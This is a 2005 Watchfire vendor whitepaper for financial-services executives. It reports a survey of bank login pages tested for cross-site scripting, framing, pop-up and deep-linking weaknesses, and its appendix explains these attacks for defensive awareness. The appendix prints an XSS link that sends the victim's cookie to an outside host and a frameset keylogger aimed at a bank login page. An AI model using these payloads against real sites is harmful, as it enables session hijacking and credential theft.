Financial Website Security

RREESSPPOONNSSIIBBLLEE FFOORR AA FFIINNAANNCCIIAALL SSEERRVVIICCEESS WWEEBBSSIITTEE??

WWHHAATT EEVVEERRYY EEXXEECCUUTTIIVVEE NNEEEEDDSS TTOO KKNNOOWW AABBOOUUTT WWEEBBSSIITTEE SSEECCUURRIITTYY STEVE ORRIN, FORMER CTO OF SANCTUM, INC. AND EXPERT IN WEB APPLICATION & WEB SERVICES SECURITY ALI TOWLE, PRODUCT MARKETING MANAGER, WATCHFIRE A whitepaper from Watchfire

TTAABBLLEE OOFF CCOONNTTEENNTTSS

Executive Summary......................................................................................................... 1

Survey Methodology ....................................................................................................... 2

Survey Results .................................................................................................................. 2

Why Do These Vulnerabilities Exist and How Can We Fix Them? ......................... 3

What Do Business Executives Need To Do? ................................................................ 4

Appendix: Attack Technique Details ............................................................................ 6

About Watchfire............................................................................................................. 10 Copyright © 2005 Watchfire Corporation. All Rights Reserved. Watchfire, WebXM, WebQA, Bobby, AppScan, the Bobby Logo and the Flame Logo are trademarks or registered trademarks of Watchfire Corporation. GómezPro is a trademark of Gómez, Inc., used under license. All other products, company names and logos are trademarks or registered trademarks of their respective owners. Except as expressly agreed by Watchfire in writing, Watchfire makes no representation about the suitability and/or accuracy of the information published in this whitepaper. In no event shall Watchfire be liable for any direct, indirect, incidental, special or consequential damages, or damages for loss of profits, revenue, data or use, incurred by you or any third party, arising from your access to, or use of, the information published in this whitepaper, for a particular purpose. www.watchfire.com

RESPONSIBLE FOR A FINANCIAL SERVICES WEBSITE?

© Copyright 2005. Watchfire Corporation. All Rights Reserved. 1

EXECUTIVE SUMMARY Who’s responsible if there’s a privacy or security breach on your website? If you’re thinking to yourself… my security team – you’re wrong! As the business owner of a website, you’re responsible for many things, from increasing customer acquisition and improving retention to lowering the cost of service. But, how can you foster growth in the online channel if it’s not a safe and sound place for your customers to do business? But I have a top notch security team… That may be true but most security teams have multiple priorities – networks, servers, firewalls – where does your website rank? As it turns out, the most elusive1 security vulnerabilities are those introduced by custom-built web applications. In the case of a financial services website, this means your login, retirement calculator, bill pay, online trader, loan application form, etc. The security vulnerabilities resulting from improperly built web applications are what hackers exploit most in phishing scams. In fact, according to Gartner,2 75 percent of all computer attacks in 2004 came through the web application layer, as opposed to only 25 percent through the network and server layers. While it may be difficult to secure applications on your website, application hacking is quite simple. A hacker typically spends a few hours getting to know the web application – thinking like a programmer, he looks for the shortcuts he would have taken had he built the application. Then, using little more than a web browser, the hacker attempts to interact with the application and its surrounding infrastructure in malicious ways. Well, we haven’t had any breaches… If your site hasn’t been breached, then it’s likely to be only a matter of time. To prove that your website may not be as safe as you have been led to believe, Watchfire conducted a survey in the first quarter of 2005 and what we found may surprise you:

Of the 130 financial services sites we tested, 71% were susceptible to attack techniques that could lead to identity theft.

As breaches continue to increase, fear of identity theft will erode consumer trust in the Internet. The longevity of the online business channel is at risk until executives, like you, become more versed in web privacy and security challenges. Only through executive-level understanding and visibility will the necessary resources and budget be allocated to effectively thwart these persistent web attacks. This whitepaper sets out to:

Offer you more detail on our survey methodology and results; Provide an overview of four common web application attack techniques; Explain why defending against attacks is difficult, but not impossible; and, Suggest how you, the business owner, can initiate a dialogue among your security and development

teams to improve your organization’s online risk management strategy.

1 Payment Card Industry Security Scanning Standards Version 1.0, December 2004. 2 From Gartner analyst John Pescatore, as quoted in “Airline Web Sites Seen As Riddled With Security Holes,” Computerworld, February 4, 2002. (http://www.computerworld.com/securitytopics/security/story/0,10801,67973,00.html)



SURVEY METHODOLOGY Over a period of two weeks during Q1 of 2005, 130 individual web properties, spanning 66 of the world’s largest financial institutions, were investigated for potential security vulnerabilities. In particular, the survey looked for vulnerabilities that could allow an attacker, or phisher, to exploit the site and obtain user account or identity data. The survey involved testing the login function of each sample site. The login was chosen because it is the most likely point where an identity thief would execute an attack. At the same time, the login should represent a portion of the site where the financial institution has applied good security measures. Specifically, the login was tested for susceptibility to four attack techniques: Cross-Site Scripting (XSS), Cross-Site Framing (XSF), Pop-Up Windowing and Deep-Site Linking. These four attack techniques were chosen because they are often easy to exploit and are most commonly used in phishing schemes, yet are preventable through non-exhaustive, secure coding principles. It is important to note that there are other attack techniques, such as SQL Injection, Buffer Overflow, Command Execution and HTTP Response Splitting. These additional methods were not tested because they are more complex and intrusive in nature. SURVEY RESULTS The data collected during this survey provides visibility concerning overall website security and the measures taken, or not taken, to prevent attacks across the financial services industry. Please note that a site that has been identified as susceptible to one or more of these attack techniques may not necessarily be verifiably attackable or under active attack. Findings:

61% of the sites surveyed are susceptible to Cross-Site Scripting • Nearly two-thirds of financial services sites are still susceptible to XSS, yet it is the oldest and

most widely known attack technique. To execute an XSS attack, the hacker injects malicious script into the susceptible site’s functions and tricks a user into executing the script. These vulnerabilities have been used repeatedly in phishing attacks to steal account login information.

58% of the sites surveyed have login pages susceptible to Cross-Site Framing

• This result illustrates that a sizable number of institutions have implemented protective measures on their sites against this newer attack technique. To execute a Cross-Site Framing attack, the hacker is able to host or frame a susceptible site within an illegitimate parent frame. This allows the attacker to see and steal any information passed to and from the legitimate site during a user session.

82% of the sites surveyed have login pages susceptible to Pop-Up Windowing

• The Pop-Up Windowing attack is much newer than the other techniques, and it is not surprising that such a significant percent of the sites are susceptible. In these attacks, the hacker inserts a pop-up window on top of the susceptible site without their knowledge allowing the attacker to trick users into handing over account login information.



83% of the sites surveyed are susceptible to Deep-Site Linking

• To execute a Deep-Site Linking attack, the hacker presents a web page to a user which is a combination of text and graphics dynamically pulled down from the susceptible site and combined with an illegitimate data input form. Only 17 percent of financial services sites were protected from this type of attack. The result of these vulnerabilities means an attacker can create more “legitimate-looking” phishing sites from which to steal your customers’ personal information.

The common thread with all of these attack techniques is that they use the functionality of your legitimate site to compromise your customer’s data. This malicious use of your own site not only puts the user’s identity at risk but can also place liability on your institution. For more detailed information about these attack techniques, please review the Appendix. WHY DO THESE VULNERABILITIES EXIST AND HOW CAN WE FIX THEM? Web applications are complex entities that incorporate code that resides on web servers, application servers, databases and even backend systems. So, while you want users to come to your site and interact with the application and all of its components, at the same time, with that interaction capability comes the possibility that a user will be able to manipulate the application in a malicious way.

The potential for a security breach exists in each layer of a web application. The vulnerabilities exist simply because successfully securing web applications is not easy.

Typically, application development is a disparate process, particularly at larger firms, and for successful application security, cross-departmental coordination is necessary.

In addition, developers of legacy applications had little-to-no knowledge of these vulnerabilities,

while current development teams might not be properly trained in secure coding principles or up-to-date on the latest attack techniques.



Furthermore, most security tools are not designed to address the web application as a whole,

including how the different pieces of the application interact with each other. Traditional security solutions, such as access control or intrusion detection systems are specialized to protect only certain layers of the infrastructure, but are not usually designed to handle HTTP and HTML (web) attacks. While these tools are useful for their specific functions, they do not address all of the issues that a web application presents. As a result, using these tools can often times give security teams a false sense of confidence if they don’t know that other vulnerabilities, such as the four attack techniques described above, exist.

Potentially, the most cost effective and comprehensive way of reducing the security risks associated with market-facing websites is via web application security testing throughout the application development lifecycle. While virtually all sites today attempt to achieve application-level security manually, this is nearly impossible. However, new automated tools have recently become available that allow developers, auditors and QA professionals to perform vulnerability assessments and ethical hacks that catch vulnerabilities before hackers do. If you haven’t already, all enterprises should immediately consider adopting appropriate technology solutions to reduce susceptibility and exposure. WHAT DO BUSINESS EXECUTIVES NEED TO DO? One can clearly see from our survey results that existing security methodologies and processes within financial services companies are not effectively mitigating all security vulnerabilities. Hopefully, after reading this document you will feel empowered to begin a dialogue with your security team. As the website owner you should be asking the following questions:

What web application security testing do we have in place today? • What’s the exact process and regularity?

Has our development team been trained in secure coding principles?

• How is new vulnerability information distributed to them? • Is education ongoing?

How can executives such as the Chief Privacy Officer and Chief Risk Officer, gain visibility into

our web application security status?



IN CONCLUSION If you are going to successfully utilize your online channel to increase customer acquisition, improve retention and lower service costs then you cannot afford to ignore web privacy and security. Phishing scams reportedly increased over 200 percent between April and May of this year alone3 and show no signs of slowing. Only through a combination of dedication, education, business process improvement and risk management technology will firms be able to regain control over the applications that are integral to their business. You have taken a critical first step by familiarizing yourself with this subject. We hope that the results of our research motivate you to act and that you will engage the rest of your team in meaningful dialogue about this important issue. Little has been done to lock down what hackers know are often open doors to personal information and corporate data. Don’t wait for a breach to force you into action. If you’re interested in learning more, we suggest: Watchfire Archived Webcasts: http://www.watchfire.com/news/seminararchives.aspx

Responsible for a Financial Services Website? What Every Executive Needs to Know about Website Security

Web Application Security: The New Battlefront in Online Risk Understanding your Online Risk: The Benefits of Enterprise Security

Watchfire Whitepapers: http://www.watchfire.com/news/whitepapers.aspx

Addressing Challenges in Application Security Developing and Deploying Secure Web Applications The Twelve Most Common Application-level Hack Attacks

Watchfire Seminars: http://www.watchfire.com/news/seminars.aspx

Phishing Lures: Understanding the Techniques Scammers Use to Steal Identities

3 http://www.eweek.com/article2/0,1895,1833528,00.asp



APPENDIX: ATTACK TECHNIQUE DETAILS For those interested, provided below is more detailed information regarding the four surveyed attack techniques. Cross-Site Scripting Cross-Site Scripting (XSS) is one of the most common web application vulnerabilities on the Internet today. XSS is the ability to inject a malicious script into a web link or form field that reflects or echoes the script back to the user. This echoing, or reflection, is a feature of the website and is used maliciously by the attacker to enable malicious code to run in the user’s browser. A typical scenario using XSS involves the attacker sending a link to the user, such as the following: <http://www.bank.com?searchterms=>'><%00script>document.location.replace('http://qwerty.warezRus.co.de/steal.cgi?'+document.cookie);</script>">&x=&y=> This link opens up the “bank.com” website and inserts the malicious script into the search field. The script automatically posts the user’s site-assigned cookie to a malicious site, in this case, to “qwerty.warezRus.co.de.” The attacker can then use the cookie to access the user’s account once the user has logged in. This is just one example of the many XSS methods attackers and identity thieves can use to perform identity theft.



Cross-Site Framing Cross-Site Framing (XSF) is a technique by which an attacker can host or frame a susceptible site within an illegitimate parent frame. The parent frame then has access to any information presented in, or typed, into the hosted site. The hosted site and the user are unaware that the browser window they are seeing is in fact the child of a separately hosted malicious site. Below, the banking site login page is being hosted by a malicious frame that is key logging all data typed into the login page:

Notice that the user name and password is now displayed in the status window at the bottom of the browser – this is an attack in action.

Below is an example of HTML code that demonstrates the XSF attack above: <html> <head> <title>IE Cross Frame Scripting Example</title> <script>var keylog=''; document.onkeypress = function () { k = window.event.keyCode; window.status = keylog += String.fromCharCode(k) + '[' + k +']'; } </script> </head> <frameset onLoad="this.focus();" onBlur="this.focus();" cols="100%,*"> <frame src="http://www.bank.com/login.asp" scrolling="auto"> </frameset> </html>



Pop-Up Windowing Pop-Up Windowing is a technique that enables the attacker to insert a pop-up window on top of the actual site. The pop-up window often has the same look and feel as the legitimate site but is actually hosted by a malicious site and will post the user’s login information to the malicious site or attacker. The key with this technique is that the legitimate site is unaware that a pop-up window has been spawned on top of it, and the user is tricked into thinking that the legitimate site spawned the pop-up. Below is an example of a JavaScript snippet that would implement the pop-up window attack:

<html> <head> <title>Pop Up Test</title> </head> <body> <% Response.Write("<script>window.open(""test.asp?url=" & www.bank.com & "&lvl=1"","""",""left=0,top=0,resizable,menubar=no,width=500,height=500"");</script>") %> </body> </html>



Deep-Site Linking Deep-Site Linking is a technique used by most phishing scams to pull graphics and logos from a legitimate site into their phishing site to help fool the user into thinking they are on the legitimate site. With Deep-Site Linking, the phisher links to image files on the legitimate sites that are part of the Secure SSL-encrypted portions of the legitimate site. Many sites do not adequately protect or prevent their graphics from being linked to -- even those that are used in the secure portions of the site. An example of a deep site link is: <https://www.bank.com/bank/images/securelogo2.gif> Using Deep-Site Linking, a phisher can create a site that not only looks like the legitimate banking or retail site, but when a user checks the source of the images or verifies the encryption, the user will see the details from the legitimate site. A phisher will often use graphics from the legitimate site, like a spacer.gif, that are used by the legitimate site to help create and maintain the look and feel of the site. These types of images can be littered all over a phishing site to help fool the user when he/she tries to right-click on the site and view the source code to see if it is fraudulent or not.



ABOUT WATCHFIRE Watchfire provides software and services to manage online risk. More than 250 enterprise organizations and government agencies, including AXA Financial, SunTrust, Nationwide Building Society, Boots PLC, Veterans Affairs and Dell, rely on Watchfire to monitor, manage, improve and secure all aspects of the online business including security, privacy, quality, accessibility, corporate standards and regulatory compliance. Watchfire's alliance and technology partners include IBM Global Services, PricewaterhouseCoopers, TRUSTe, Microsoft, Interwoven, EMC Documentum and Mercury Interactive. Watchfire is headquartered in Waltham, MA. For more information, please visit www.watchfire.com.